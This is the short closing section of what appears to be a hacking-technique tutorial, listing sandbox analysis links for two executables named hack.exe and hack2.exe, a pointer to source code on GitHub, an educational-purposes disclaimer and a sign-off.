ANY.RUN: hack.exe
ANY.RUN: hack2.exe
source code in Github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
